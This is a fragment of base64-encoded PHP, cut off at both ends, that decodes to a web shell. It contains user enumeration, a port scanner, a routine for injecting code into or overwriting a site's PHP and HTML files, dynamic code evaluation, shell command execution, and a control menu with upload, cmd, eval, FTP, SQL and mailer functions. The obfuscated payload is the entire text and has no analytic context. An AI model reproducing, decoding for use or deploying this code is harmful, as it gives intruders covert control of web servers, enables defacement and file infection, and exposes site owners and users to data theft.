HNlaWYgKHo3ZSgncG9zaXhfZ2V0cHd1aWQnKSl7IGZvcigkaT0wOyAkaTw2NTUzNTsgJGkrKyl7ICRhPUBwb3NpeF9nZXRwd3VpZCgkaSk7IGlmKCRhICYmIEBpc19hcnJheSgkYSkpeyBpZihAaXNzZXQoJGFbJ25hbWUnXSkgJiYgIUBlbXB0eSgkYVsnbmFtZSddKSAmJiAhQGlzc2V0KCR1WyRhWyduYW1lJ11dKSl7ICR1WyRhWyduYW1lJ11dPWFycmF5KCRhWyd1aWQnXSwgJGFbJ2dpZCddLCAkYVsnZGlyJ10sICRhWydzaGVsbCddKTsgfSB9IH0gfSByZXR1cm4gJHU7IH0gZnVuY3Rpb24gejhsKCR0PTApeyAkYT1hcnJheSgpOyAkcD16Nm4oKTsgaWYoQGNvdW50KCRwKT4wKXsgZm9yZWFjaCgkcCBhcyAkdT0+JHYpICRhW109KCgkdCkgPyBhcnJheSgkdSwkdlsyXSkgOiAkdSk7IH0gcmV0dXJuICRhOyB9IGlmKCF6N2UoJ3N0cl9yZXBlYXQnKSl7IGZ1bmN0aW9uIHN0cl9yZXBlYXQoJGksJGMpeyAkcj0nJzsgZm9yKCRuPTA7JG48JGM7JG4rKykkci49JGk7IHJldHVybiAkcjsgfSB9IGZ1bmN0aW9uIHo5dygkbSwkcz0wKXsgaWYoKCRtJjB4QzAwMCk9PT0weEMwMDApeyAkdD0icyI7IH0gZWxzZWlmKCgkbSYweDQwMDApPT09MHg0MDAwKXsgJHQ9ImQiOyB9IGVsc2VpZigoJG0mMHhBMDAwKT09PTB4QTAwMCl7ICR0PSJsIjsgfSBlbHNlaWYoKCRtJjB4ODAwMCk9PT0weDgwMDApeyAkdD0iLSI7IH0gZWxzZWlmKCgkbSYweDYwMDApPT09MHg2MDAwKXsgJHQ9ImIiOyB9IGVsc2VpZigoJG0mMHgyMDAwKT09PTB4MjAwMCl7ICR0PSJjIjsgfSBlbHNlaWYoKCRtJjB4MTAwMCk9PT0weDEwMDApeyAkdD0icCI7IH0gZWxzZXsgJHQ9Ij8iOyB9ICRhWyJyIl09KCRtJjAwNDAwKT4wOyAkYVsidyJdPSgkbSYwMDIwMCk+MDsgJGFbIngiXT0oJG0mMDAxMDApPjA7ICRiWyJyIl09KCRtJjAwMDQwKT4wOyAkYlsidyJdPSgkbSYwMDAyMCk+MDsgJGJbIngiXT0oJG0mMDAwMTApPjA7ICRjWyJyIl09KCRtJjAwMDA0KT4wOyAkY1sidyJdPSgkbSYwMDAwMik+MDsgJGNbIngiXT0oJG0mMDAwMDEpPjA7IGlmKCRzKSByZXR1cm4gYXJyYXkoInQiPT4kdCwgIm8iPT4kYSwgImciPT4kYiwgInciPT4kYyk7ICRvWyJyIl09KCRhWyJyIl0pPyJyIjoiLSI7ICRvWyJ3Il09KCRhWyJ3Il0pPyJ3IjoiLSI7ICRvWyJ4Il09KCRhWyJ4Il0pPyJ4IjoiLSI7ICRnWyJyIl09KCRiWyJyIl0pPyJyIjoiLSI7ICRnWyJ3Il09KCRiWyJ3Il0pPyJ3IjoiLSI7ICRnWyJ4Il09KCRiWyJ4Il0pPyJ4IjoiLSI7ICR3WyJyIl09KCRjWyJyIl0pPyJyIjoiLSI7ICR3WyJ3Il09KCRjWyJ3Il0pPyJ3IjoiLSI7ICR3WyJ4Il09KCRjWyJ4Il0pPyJ4IjoiLSI7IGlmKCRtJjB4ODAwKSAkb1sieCJdPSgkb1sieCJdPT0ieCIpPyJzIjoiUyI7IGlmKCRtJjB4NDAwKSAkZ1sieCJdPSgkZ1sieCJdPT0ieCIpPyJzIjoiUyI7IGlmKCRtJjB4MjAwKSAkd1sieCJdPSgkd1sieCJdPT0ieCIpPyJ0IjoiVCI7IHJldHVybiAkdC5Aam9pbigiIiwkbykuQGpvaW4oIiIsJGcpLkBqb2luKCIiLCR3KTsgfSBmdW5jdGlvbiB6OGooJGksJHMsJGUpeyAkcD0nJzsgJGs9YXJyYXkoJzgwJz0+J1dlYnNlcnZlcicsJzQ0Myc9PidPcGVuU1NMJywnMzMwNic9PidNeVNRTCcsJzU0MzInPT4nUG9zdGdyZVNRTCcsKTsgaWYoejdlKCdmc29ja29wZW4nKSYmejdlKCdzdHJlYW1fc2V0X3RpbWVvdXQnKSl7IGZvcigkbj0kczskbjw9JGU7JG4rKyl7ICRjPUBmc29ja29wZW4oJGksJG4sJGVuLCRlcywxKTsgaWYoJGMpeyBAc3RyZWFtX3NldF90aW1lb3V0KCRjLDAsNTAwMDApOyAkdD1AcHJlZ19yZXBsYWNlKCIvKFxyfFxufFteYS16MC05XyYlOjtcLixcW1xdXChcKVxzLV0pL2kiLCIiLEBmcmVhZCgkYywxMDApKTsgJHQ9KEBpc3NldCgka1skbl0pPyRrWyRuXS4nICcuJHQ6JHQpOyBpZihAZW1wdHkoJHQpKSAkdD0iT3BlbiI7ICRwLj0iWyRpXSAgIFBvcnQgJG4iLigoQHN0cmxlbigkbik8NSk/QHN0cl9yZXBlYXQoJyAnLCg1LUBzdHJsZW4oJG4pKSk6JycpLiIgICAkdFxyXG4iOyBAZmNsb3NlKCRjKTsgfSB9IH0gcmV0dXJuICRwOyB9IGZ1bmN0aW9uIHo4ZCgkYSl7ICRiPUBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCRhKSk7IGlmKCRiPT0nb24nfHwkYj09J3llcyd8fCRiPT0ndHJ1ZScpeyByZXR1cm4gJ2Fzc2VydC5hY3RpdmUnIT09JGE7IH0gZWxzZWlmKCRiPT0nc3RkZXJyJ3x8JGI9PSdzdGRvdXQnKXsgcmV0dXJuICdkaXNwbGF5X2Vycm9ycyc9PT0kYTsgfSBlbHNleyByZXR1cm4gKGJvb2wpKGludCkkYjsgfSB9IGZ1bmN0aW9uIHo4bygkYywkbCl7IHJldHVybiAoQHN0cmxlbigkYyk+JGwpID8gQHN1YnN0cigkYywwLChAY2VpbCgkbC8yKS0yKSkuIlsuLl0iLkBzdWJzdHIoJGMsLShAY2VpbCgkbC8yKS0yKSkgOiAkYzsgfSBmdW5jdGlvbiBpbml0X2J1ZmZlcigpeyBpZighQGlzc2V0KCRfU0VTU0lPTlsnYnVmZmVyJ10pKXsgJF9TRVNTSU9OWydidWZmZXInXT1hcnJheSgpOyB9IH0gZnVuY3Rpb24gdW5zZXRfYnVmZmVyKCl7IGlmKEBpc3NldCgkX1NFU1NJT05bJ2J1ZmZlciddKSl7IHVuc2V0KCRfU0VTU0lPTlsnYnVmZmVyJ10pOyB9IH0gZnVuY3Rpb24gejhpKCRpLCR0PTApeyByZXR1cm4gKCR0PT09MD96N2MoJGkpOigkdD09PTE/QG9yZCgkaSk6QGNocigkaSkpKTsgfSBmdW5jdGlvbiB6OHkoJHMsICRkPScsJywgJGU9JyInLCAkZXNjPSdcXCcpeyAkbiA9IDA7ICRyID0gYXJyYXkoKTsgJGVkPSclIyUjJUUlUyVDJUElUCVFJUQlIyUjJSc7ICRzPUBzdHJfcmVwbGFjZSgkZXNjLiRlLCAkZWQsICRzKTsgJHM9QHByZWdfcmVwbGFjZSgnLycuJGUuJyhbXicuJGUuJ10rKScuJGUuJyhcc3xcdCkrJy4kZC4nLycsICRlLiJcXDEiLiRlLiRkLCAkcyk7ICRzPUBwcmVnX3JlcGxhY2UoJy8nLiRlLicoW14nLiRlLiddKyknLiRlLiRkLicoXHN8XHQpKy8nLCAkZS4iXFwxIi4kZS4kZCwgJHMpOyBpZihAc3Ryc3RyKCRzLCRlKSl7ICRhPUBleHBsb2RlKCRlLCAkcyk7IGZvcmVhY2goJGEgYXMgJGkpeyBpZigkbisrJTIpeyBAYXJyYXlfcHVzaCgkciwgQHN0cl9yZXBsYWNlKCRlZCwgJGUsIEBhcnJheV9wb3AoJHIpIC4gJGkgKSk7IH1lbHNleyAkYj1AZXhwbG9kZSgkZCwgJGkpOyBAYXJyYXlfcHVzaCgkciwgQHN0cl9yZXBsYWNlKCRlZCwgJGUsIEBhcnJheV9wb3AoJHIpIC4gQGFycmF5X3NoaWZ0KCRiKSkpOyAkcj1AYXJyYXlfbWVyZ2UoJHIsICRiKTsgfSB9IH0gcmV0dXJuICRyOyB9IGZ1bmN0aW9uIHo1cygkcywgJGVvbD0iXG4iLCAkZD0nLCcsICRlPSciJywgJGVzYz0nXFwnKXsgJHI9YXJyYXkoKTsgaWYoQHN0cnN0cigkcywgJGVvbCkpeyAkcD1AZXhwbG9kZSgkZW9sLCAkcyk7IGZvcmVhY2goJHAgYXMgJGwpeyBpZighQGVtcHR5KCRsKSkgJHJbXT16OHkoJGwsJGQsJGUsJGVzYyk7IH0gfSBlbHNlIHsgJHJbXT16OHkoJHMsJGQsJGUsJGVzYyk7IH0gcmV0dXJuICRyOyB9IGZ1bmN0aW9uIHo5bigpeyByZXR1cm4gejhlKHo4aSh6OGMoKSksejhjKCkpOyB9IGZ1bmN0aW9uIHo4dCgkZSl7ICRyPXo5ZSgiUEFUSD0nL2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2Jpbjovc2JpbjovdXNyL3NiaW46L3Vzci9sb2NhbC9zYmluJzt3aGljaCAkZSIpOyByZXR1cm4oQGVtcHR5KCRyKT8wOiRyKTsgfSBmdW5jdGlvbiB6OWIoJGkpeyByZXR1cm4gQGJhc2U2NF9kZWNvZGUoJGkpOyB9IGZ1bmN0aW9uIHo0ZigmICRhLCRrPSIiKXsgaWYoQGlzX2FycmF5KCRhKSl7IGZvcmVhY2goJGEgYXMgJGs9PiR2KXsgejRmKCRhWyIkayJdKTsgfSB9ZWxzZXsgJGE9QHN0cmlwc2xhc2hlcygkYSk7IH0gfSBmdW5jdGlvbiB6M3MoJGgsICRuLCAkbz0wKXsgJGw9QHN0cmxlbigkaCk7ICRvPSgkbz4wKT8oJGwtJG8pOkBhYnMoJG8pOyAkcD1Ac3RycG9zKEBzdHJyZXYoJGgpLEBzdHJyZXYoJG4pLCRvKTsgcmV0dXJuICgkcD09PWZhbHNlKT9mYWxzZTooJGwtJHAtQHN0cmxlbigkbikpOyB9IGZ1bmN0aW9uIHozdigkaW5qLCR3LCRmKXsgJGM9ejlvKCRmKTsgJHI9Jyc7IGlmKCEkYykgcmV0dXJuIGZhbHNlOyBzd2l0Y2goJHcpeyBjYXNlICd0b3AnOiAkcj0kaW5qLiRjOyBicmVhazsgY2FzZSAnZW5kJzogJHI9JGMuJGluajsgYnJlYWs7IGNhc2UgJ3BocDEnOiAkcD1Ac3RycG9zKCRjLCc8PycpOyBpZigkcD09PWZhbHNlKSByZXR1cm4gZmFsc2U7ICRyPUBzdWJzdHIoJGMsMCwkcCkuJGluai5Ac3Vic3RyKCRjLCRwKTsgYnJlYWs7IGNhc2UgJ3BocDInOiAkcD16M3MoJGMsJz8+Jyk7IGlmKCRwPT09ZmFsc2UpIHJldHVybiBmYWxzZTsgJHArPTI7ICRyPUBzdWJzdHIoJGMsMCwkcCkuJGluai5Ac3Vic3RyKCRjLCRwKTsgYnJlYWs7IGNhc2UgJ2h0bWwxJzogJHA9QHN0cnBvcygkYywnPGh0bWw+Jyk7IGlmKCRwPT09ZmFsc2UpIHJldHVybiBmYWxzZTsgJHI9QHN1YnN0cigkYywwLCRwKS4kaW5qLkBzdWJzdHIoJGMsJHApOyBicmVhazsgY2FzZSAnaHRtbDInOiAkcD1Ac3RycG9zKCRjLCc8L2h0bWw+Jyk7IGlmKCRwPT09ZmFsc2UpIHJldHVybiBmYWxzZTsgJHI9QHN1YnN0cigkYywwLCRwKS4kaW5qLkBzdWJzdHIoJGMsJHApOyBicmVhazsgY2FzZSAnaHRtbDMnOiAkcD1Ac3RycG9zKCRjLCc8aHRtbD4nKTsgaWYoJHA9PT1mYWxzZSkgcmV0dXJuIGZhbHNlOyAkcCs9NjsgJHI9QHN1YnN0cigkYywwLCRwKS4kaW5qLkBzdWJzdHIoJGMsJHApOyBicmVhazsgY2FzZSAnaHRtbDQnOiAkcD1Ac3RycG9zKCRjLCc8L2h0bWw+Jyk7IGlmKCRwPT09ZmFsc2UpIHJldHVybiBmYWxzZTsgJHArPTc7ICRyPUBzdWJzdHIoJGMsMCwkcCkuJGluai5Ac3Vic3RyKCRjLCRwKTsgYnJlYWs7IGNhc2UgJ2JvZHkxJzogaWYoIUBwcmVnX21hdGNoKCcvPGJvZHlbXj5dKj4vJywkYywkbSkpIHJldHVybiBmYWxzZTsgJHA9QHN0cnBvcygkYywkbVswXSk7ICRyPUBzdWJzdHIoJGMsMCwkcCkuJGluai5Ac3Vic3RyKCRjLCRwKTsgYnJlYWs7IGNhc2UgJ2JvZHkyJzogJHA9ejNzKCRjLCc8L2JvZHk+Jyk7IGlmKCRwPT09ZmFsc2UpIHJldHVybiBmYWxzZTsgJHI9QHN1YnN0cigkYywwLCRwKS4kaW5qLkBzdWJzdHIoJGMsJHApOyBicmVhazsgY2FzZSAnYm9keTMnOiBpZighQHByZWdfbWF0Y2goJy88Ym9keVtePl0qPi8nLCRjLCRtKSkgcmV0dXJuIGZhbHNlOyAkcD1Ac3RycG9zKCRjLCRtWzBdKTsgJHArPUBzdHJsZW4oJG1bMF0pOyAkcj1Ac3Vic3RyKCRjLDAsJHApLiRpbmouQHN1YnN0cigkYywkcCk7IGJyZWFrOyBjYXNlICdib2R5NCc6ICRwPXozcygkYywnPC9ib2R5PicpOyBpZigkcD09PWZhbHNlKSByZXR1cm4gZmFsc2U7ICRwKz03OyAkcj1Ac3Vic3RyKCRjLDAsJHApLiRpbmouQHN1YnN0cigkYywkcCk7IGJyZWFrOyBjYXNlICdvdmVyd3JpdGUnOiAkcj0kaW5qOyBicmVhazsgZGVmYXVsdDogcmV0dXJuIGZhbHNlOyBicmVhazsgfSByZXR1cm4gejl0KCRmLCRyKTsgfSBmdW5jdGlvbiB6M3UoJiAkYSwkaz0nJyl7IGlmKEBpc19hcnJheSgkYSkpeyBmb3JlYWNoKCRhIGFzICRrPT4kdil7IHozdSgkYVsiJGsiXSk7IH0gfWVsc2V7IGlmKCRhPT0nbmFtZSd8fCRhPT0ndG1wX25hbWUnKSAkYT16MWooJGEpOyB9IH0gZnVuY3Rpb24gejhlKCRpLCRvKXsgJHI9QGNyZWF0ZV9mdW5jdGlvbignJG8nLCdyZXR1cm4gQCcuejdjKCRvLDApLicoJG8pOycpOyByZXR1cm4gJHIoJGkpOyB9IGZ1bmN0aW9uIHo3digkbiwkYWMsJGEsJGI9MCl7IGdsb2JhbCAkYWN0OyByZXR1cm4gejZsKHo1eChhcnJheSgnYWN0Jz0+JGFjLCdkJywnc29ydCcpLCB6OGIoJG4sKCRhPyc0JzonNScpLCgkYWN0PT0kYWMmJiRiPycgc3R5bGU9ImJvcmRlci1yaWdodDowOyInOicnKSkpLCc1Jyk7IH0gZnVuY3Rpb24gejBhKCRrKXsgaWYoIUBpc3NldCgkX1NFU1NJT05bJGtdKXx8IUBpc19hcnJheSgkX1NFU1NJT05bJGtdKSl7IHowaSgkayk7ICRfU0VTU0lPTlska109YXJyYXkoKTsgJF9TRVNTSU9OWyRrXVtdPWFycmF5KCdhY3QnPT56N3ooJzInLCdkZWZhdWx0X2FjdCcpKTsgfSB9IGZ1bmN0aW9uIHoyZCgkayl7IGlmKEBjb3VudCgkX1NFU1NJT05bJGtdKT4wKSByZXR1cm4gQGNvdW50KCRfU0VTU0lPTlska10pOyAkX1NFU1NJT05bJGtdW109YXJyYXkoJ2FjdCc9Pno3eignMicsJ2RlZmF1bHRfYWN0JykpOyByZXR1cm4gQGNvdW50KCRfU0VTU0lPTlska10pOyB9IGZ1bmN0aW9uIHowbCgpeyAkcD1hcnJheSgpOyBpZihAY291bnQoJF9QT1NUKT4wKXsgZm9yZWFjaCgkX1BPU1QgYXMgJG49PiR2KXsgaWYoQHN1YnN0cigkbiwwLDUpIT0nYmFja2YnKSAkcFskbl09JHY7IH0gfSByZXR1cm4gJHA7IH0gZnVuY3Rpb24gejBmKCRrKXsgJGNsZWFucD16MGwoKTsgaWYoJGNsZWFucCAhPSB6Mm0oJGspKSAkX1NFU1NJT05bJGtdW109JGNsZWFucDsgfSBmdW5jdGlvbiB6M2YoJGspeyAkX1NFU1NJT05bJGtdPUBhcnJheV9yZXZlcnNlKCRfU0VTU0lPTlska10pOyBAYXJyYXlfcG9wKCRfU0VTU0lPTlska10pOyAkX1NFU1NJT05bJGtdPUBhcnJheV9yZXZlcnNlKCRfU0VTU0lPTlska10pOyB6MnQoJGspOyB9IGZ1bmN0aW9uIHoybSgkayl7ICRjPXoyZCgkayk7IGlmKCRjPT0wKSByZXR1cm4gYXJyYXkoKTsgaWYoJGM+MCkgejJ0KCRrKTsgJG49KCgkYz4xKSA/ICgkYy0yKSA6ICgoJGM+MCkgPyAoJGMtMSkgOiAwKSk7IHJldHVybiAkX1NFU1NJT05bJGtdWyRuXTsgfSBmdW5jdGlvbiB6MnQoJGspeyAkcj1hcnJheSgpOyBmb3JlYWNoKCRfU0VTU0lPTlska10gYXMgJHYpICRyW109JHY7ICRfU0VTU0lPTlska109JHI7IH0gZnVuY3Rpb24gejVmKCRzayl7IGdsb2JhbCAkYmFja2YsJHdoaXRlLCRiYWNrX2Zvcm1fYWN0aW9uczsgejBhKCRzayk7IGlmKEBpc3NldCgkYmFja2YpJiYkYmFja2YpeyBAYXJyYXlfcG9wKCRfU0VTU0lPTlskc2tdKTsgfSBlbHNlaWYoIUBpc3NldCgkd2hpdGUpfHwhJHdoaXRlKSB7IHowZigkc2spOyB9ICRiYWNrPXoybSgkc2spOyBpZih6MmQoJHNrKT4xMCkgejNmKCRzayk7ICRhPWFycmF5KCk7IGlmKEBjb3VudCgkYmFjayk+MCl7ICRhWydiYWNrZiddPScxJzsgaWYoQGlzX2FycmF5KCRiYWNrKSl7IGZvcmVhY2goJGJhY2sgYXMgJGs9PiR2KXsgJGFbJ2JhY2tmXycuJGtdPUB1cmxlbmNvZGUoJHYpOyB9IH0gfSAkYmFja19mb3JtX2FjdGlvbnM9JGE7IHJldHVybiB6NmwoKChAY291bnQoJGEpPjApPyB6NXgoJGEsejhiKHo5eSgiMjMiKSwnMTUnKSkgOiB6OGIoejl5KCIyMyIpLCc1JykpLCc1Jyk7IH0gZnVuY3Rpb24gejBwKCl7IGdsb2JhbCAkYWN0LCRzaF9leGVjLCRzYWZlX2V4ZWMsJGJmdHAsJGJtYWlsOyBlY2hvIHo3YSh6N3UoejVmKCdoaXN0JykuIHo3dih6OXkoIjI0IiksImxzIiwoQGluX2FycmF5KCRhY3QsYXJyYXkoImxzIiwiZCIsImYiLCJkZnVuYyIpKSkpLiB6N3Yoejl5KCIyNSIpLCJzZWFyY2giLCgkYWN0PT0ic2VhcmNoIikpLiB6N3Yoejl5KCIyNiIpLCJ1cGxvYWQiLCgkYWN0PT0idXBsb2FkIikpLiAoKCRzaF9leGVjfHwkc2FmZV9leGVjKT96N3Yoejl5KCIyNyIpLCJjbWQiLCgkYWN0PT0iY21kIikpOicnKS4gejd2KHo5eSgiMjgiKSwiZXZhbCIsKCRhY3Q9PSJldmFsIikpLiAoJGJmdHA/ejd2KHo5eSgiMTkzIiksImZ0cCIsKCRhY3Q9PSJmdHAiKSk6JycpLiB6N3Yoejl5KCIyOSIpLCJzcWwiLCgkYWN0PT0ic3FsIikpLiAoJGJtYWlsP3o3dih6OXkoIjMwIiksIm1haWxlciIsKCRhY3Q9PSJtYWlsZXIiKSk6JycpLiB6N3Yoejl5KCIzMSIpLCJlbmNvZGVycyIsKCRhY3Q9PSJlbmNvZGVycyIpKS4gejd2KHo5eSgiMzIiKSwidG9vbHMiLCgkYWN0PT0idG9vbHMiKSkuICgkc2hfZXhlYz96N3Yoejl5KCIzMyIpLCJwcm9jZXNzZXMiLCgkYWN0PT0icHJvY2Vzc2VzIikpOicnKS4gejd2KHo5eSgiMzQiKSwic3lzaW5mbyIsKEBpbl9hcnJheSgkYWN0LGFycmF5KCJzeXNpbmZvIiwicGhwaW5mbyIpKSkpLno3digiJm5ic3A7IixmYWxzZSwiIikpLCc0Jyk7IH0gZnVuY3Rpb24gejh3KCRpLCRzKXsgcmV0dXJuICgkcyk/ejdxKEBzdWJzdHIoJGlbMV0sNCkpOno3cShAc3Vic3RyKCRpWzFdLDAsNCkpOyB9IGZ1bmN0aW9uIHoxaigkdCl7ICR0PUBzdHJfcmVwbGFjZSgnXFwnLCcvJywkdCk7IGlmKEBzdHJzdHIoJHQsJy8vJykpeyB3aGlsZShAc3Ryc3RyKCR0LCcvLycpIT09ZmFsc2UpICR0ID0gQHN0cl9yZXBsYWNlKCcvLycsJy8nLCR0KTsgfSByZXR1cm4gJHQ7IH0gZnVuY3Rpb24gejFrKCR0KXsgJHQ9ejFqKCR0KTsgaWYoQHN1YnN0cigkdCwtMSkhPScvJykgJHQuPScvJzsgaWYoQHByZWdfbWF0Y2goJy9bXlwvXHJcbiJcJ10rXC9cLlwuXC8vJywgJHQpKSAkdCA9IEBwcmVnX3JlcGxhY2UoJy9bXlwvXHJcbiJcJ10rXC9cLlwuXC8vJywgJycsICR0KTsgaWYoJHQ9PScvLi4vJykgJHQ9ICcvJzsgaWYoJHQhPScuLycmJkBzdHJzdHIoJHQsJy4vJykhPT1mYWxzZSkgJHQ9QHN0cl9yZXBsYWNlKCcuLycsJycsJHQpOyByZXR1cm4gJHQ7IH0gZnVuY3Rpb24gejJ2KCRmLCR0LCRjKXsgaWYoQHN0cnN0cigkYywkZikpIHdoaWxlKEBzdHJzdHIoJGMsJGYpKSAkYz1Ac3RyX3JlcGxhY2UoJGYsJHQsJGMpOyByZXR1cm4gJGM7IH0gZnVuY3Rpb24gejFuKCRhY3Rpb24peyBnbG9iYWwgJGQsJHdpbjsgaWYoISR3aW4pIHJldHVybiAnJzsgJGU9QGV4cGxvZGUoIi8iLCRkKTsgJHI9Jyc7IGZvcmVhY2goQHJhbmdlKCJCIiwiWiIpIGFzICRsZXQpeyBpZigkbGV0LiI6IiE9QHN0cnRvdXBwZXIoJGVbMF0pJiZ6NHIoJGxldC4iOi8iKSl7ICRyIC49IHo1eChhcnJheSgiYWN0Ij0+JGFjdGlvbiwiZCI9PkBzdHJ0b3VwcGVyKCRsZXQpLiI6LyIpLHo4YigiWyRsZXRdIiwiMSIpKS56OXgoMik7IH0gfSByZXR1cm4gJHI7IH0gZnVuY3Rpb24gejFtKCR0LCRmdHA9MCl7IGdsb2JhbCAkd2luOyAkZGVmPSIvIjsgaWYoJHdpbiYmISRmdHApeyAkcGF0aD1AcmVhbHBhdGgoX19GSUxFX18pOyAkZGVmPUBzdWJzdHIoJHBhdGgsMCwxKS4iOi8iOyB9IGlmKEBzdWJzdHIoJHQsLTEpPT0nLycpICR0PUBzdWJzdHIoJHQsMCwtMSk7IGlmKEBlbXB0eSgkdCkpIHJldHVybiBhcnJheSgkZGVmKTsgJGU9QGV4cGxvZGUoJy8nLCAkdCk7ICRkPWFycmF5KCk7IGlmKCR3aW4mJiEkZnRwKXsgJHA9Jyc7IH0gZWxzZSB7ICRwPScvJzsgfSBmb3IoJGk9MDsgJGkgPCBAY291bnQoJGUpOyAkaSsrKXsgaWYoQGVtcHR5KCRlWyRpXSkpeyAkZFsnLyddPScvJzsgfSBlbHNlIHsgJHAuPSRlWyRpXS4nLyc7ICRkWyRwXT0kZVskaV07IH0gfSByZXR1cm4gJGQ7IH0gZnVuY3Rpb24gejF2KCRuLCRhPWFycmF5KCksJGM9JycsJGc9JycsJHQ9JzEnLCRzPScnKXsgJHI9JzxzZWxlY3QgbmFtZT0iJy4kbi4nIicuKCRjIT0nJz8nIGNsYXNzPSInLno0bSgkYywnNCcpLiciJzonJykuKCRzIT0nJz8oQGlzX251bWVyaWMoJHMpPycgJy56MTByKCRzKTonICcuJHMpOicnKS4nPicuIlxuIjsgaWYoJGchPScnKSBnbG9iYWwgJHskbn07IGZvcmVhY2goJGEgYXMgJGs9PiR2KXsgJHIuPSc8b3B0aW9uIHZhbHVlPSInLigkdD09JzEnPyRrOiR2KS4nIicuKCgkZyE9JycgJiYgKCR0PT0nMSc/ICRrIDogJHYpID09JHskbn0pPycgc2VsZWN0ZWQnOicnKS4nPicuKCR0PT0nMSc/ICR2IDogJGspLic8L29wdGlvbj4nLiJcbiI7IH0gJHIuPSc8L3NlbGVjdD4nOyByZXR1cm4gJHI7IH0gZnVuY3Rpb24gejNtKCRuLCRhPWFycmF5KCksJGM9JycsJGc9JycsJHM9JycpeyByZXR1cm4gejF2KCRuLCRhLCRjLCRnLCcxJywkcyk7IH0gZnVuY3Rpb24gejJrKCRuLCRhPWFycmF5KCksJGM9JycsJGc9JycsJHM9JycpeyByZXR1cm4gejF2KCRuLCRhLCRjLCRnLCcwJywkcyk7IH0gZnVuY3Rpb24gejhuKCR0PTApeyBnbG9iYWwgJGQsJGZ0cF9jdXJyZW50X2RpcjsgJGE9KCghJHR8fCR0PT0nbCcpP3oxbSgkZCk6ejFtKCRmdHBfY3VycmVudF9kaXIsMSkpOyAkYz1AY291bnQoJGEpOyAkaT0wOyAkbj0nJzsgZm9yZWFjaCgkYSBhcyAkaz0+JHYpeyAkaSsrOyAkbi49ejV4KCgkdD09PTA/YXJyYXkoJ2FjdCc9PidscycsJ2QnPT4kayk6KCR0PT0nbCc/IGFycmF5KCdhY3QnPT4nZnRwJywnZCc9PiRrKTogYXJyYXkoJ2FjdCc9PidmdHAnLCdkJywnZnRwX2N1cnJlbnRfZGlyJz0+JGspKSksejhiKCR2LCcxJykuKCgkdiE9Jy8nJiYkaSE9JGMpPycgLyAnOicgJykpOyB9IGVjaG8gejEwdyh6N3UoejdrKCghJHQ/ejV4KGFycmF5KCdhY3QnPT4nbHMnLCdkJz0+ejNhKF9fRklMRV9fKSksejhoKCdzbWFsbF9ob21lJywnJywnOScpKS56OXgoKS56MW4oImxzIik6JycpLiRuLighJHQ/JyAoJy56NnQoejl3KEBmaWxlcGVybXMoJGQpKSx6NmcoJGQpKS4nKSc6JycpKSksJzUnKTsgfSBmdW5jdGlvbiB6Mm4oKXsgZ2xvYmFsICRkOyBlY2hvIHozcSh6MTB3KHo3dSggejZsKHo1eChhcnJheSgnYWN0Jz0+J2YnLCdkJyksIHo3bih6OXkoIjM1IikpLno2dSgnZicsJGQsJzAnKS56M20oJ2Z0JyxhcnJheSgnZnVuY3Rpb25zJz0+ejl5KCI3NCIpLCdlZGl0Jz0+ejl5KCI3NSIpLCduZXcnPT56OXkoIjE5NSIpKSwnMScpLno4YignJnJhcXVvOycsJzcnKSksJycpLiB6NmwoejV4KGFycmF5KCdhY3QnPT4nZCcsJ2RvbGQnPT4kZCksIHo3bih6OXkoIjM2IikpLno2dSgnZCcsJGQsJzAnKS56M20oJ2R0JyxhcnJheSgnY2hkaXInPT56OXkoIjQyNSIpLCduZXcnPT56OXkoIjE5NSIpKSwnMScpLno4YignJnJhcXVvOycsJzcnKSksJycpICksJzInKSwnJyk7IH0gZnVuY3Rpb24gejVyKCRzKXsgJGE9QHByZWdfcmVwbGFjZSgnL1teMC05XS8nLCcnLCRzKTsgaWYoQGVtcHR5KCRhKSkgJGE9IjAiOyAkYj1Ac3Vic3RyKCRzLC0xKTsgaWYoJGIhPSdkJykgJGI9J2EnOyByZXR1cm4gYXJyYXkoJGEsJGIpOyB9IGZ1bmN0aW9uIHoyYigkYSwkYil7IGdsb2JhbCAkdjsgcmV0dXJuIEBzdHJuYXRjbXAoQHN0cnRvbG93ZXIoJGFbJHZdKSxAc3RydG9sb3dlcigkYlskdl0pKTsgfSBmdW5jdGlvbiB6OWgoJGQpeyBnbG9iYWwgJHdpdGhfbHM7ICRyPWFycmF5KCk7ICRscz1Ac3RyX3JlcGxhY2UoJ1xcJywnJyx6OWUoJ2xzIC1hICInLiRkLiciIDI+L2Rldi9udWxsJywwKSk7ICRlPUBleHBsb2RlKCJcbiIsJGxzKTsgaWYoQGNvdW50KCRlKT4wKXsgJHdpdGhfbHM9MTsgZm9yZWFjaCgkZSBhcyAkcCl7IGlmKCRwIT0nJyYmJHAhPSRkJiYhQGluX2FycmF5KCRkLiRwLCAkcikpICRyW109JGQuJHA7IH0gfSByZXR1cm4gJHI7IH0gZnVuY3Rpb24gejRzKCRwbiwkdD0nZicpeyBpZigkdD09J2QnKXsgJGxzPUBzdHJfcmVwbGFjZSgnXFwnLCcnLHo5ZSgnbHMgLWRsYSAiJy4kcG4uJyIgMj4vZGV2L251bGwnLDApKTsgfSBlbHNlIHsgJGxzPUBzdHJfcmVwbGFjZSgnXFwnLCcnLHo5ZSgnbHMgLWxhICInLiRwbi4nIiAyPi9kZXYvbnVsbCcsMCkpOyB9ICRlbD1AZXhwbG9kZSgiXG4iLCRscyk7IGlmKEBjb3VudCgkZWwpPjApeyAkbD0kZWxbMF07IH0gZWxzZSB7ICRsPSRsczsgfSBpZihAc3Ryc3RyKCRsLCctPicpKXsgJGxsPUBleHBsb2RlKCctPicsJGwpOyBpZihAY291bnQoJGxsKT4yKXsgQGFycmF5X3BvcCgkbGwpOyAkbD1AaW1wbG9kZSgnLT4nLCRsbCk7IH0gZWxzZSB7ICRsPUB0cmltKCRsbFswXSk7IH0gfSAkbGVuPUBzdHJsZW4oJGwpOyAkcG5sPShAc3RybGVuKCRwbikrMSk7IGlmKEBzdWJzdHIoJGwsIC0kcG5sKT09IiAiLiRwbil7ICRwaT1Ac3Vic3RyKCRsLDAsKCRsZW4tJHBubCkpOyAkcGk9ejJ2KCcgICcsJyAnLCRwaSk7ICRwMj1AZXhwbG9kZSgiICIsJHBpKTsgaWYoQGNvdW50KCRwMik+NSl7ICRwcD0kcDJbMF07ICRwdT0kcDJbMl07ICRwZz0kcDJbM107ICRwcz0kcDJbNF07IGlmKCFAaXNfbnVtZXJpYygkcHMpICYmIEBzdWJzdHIoJHBzLC0xKT09IiwiICYmIEBpc19udW1lcmljKCR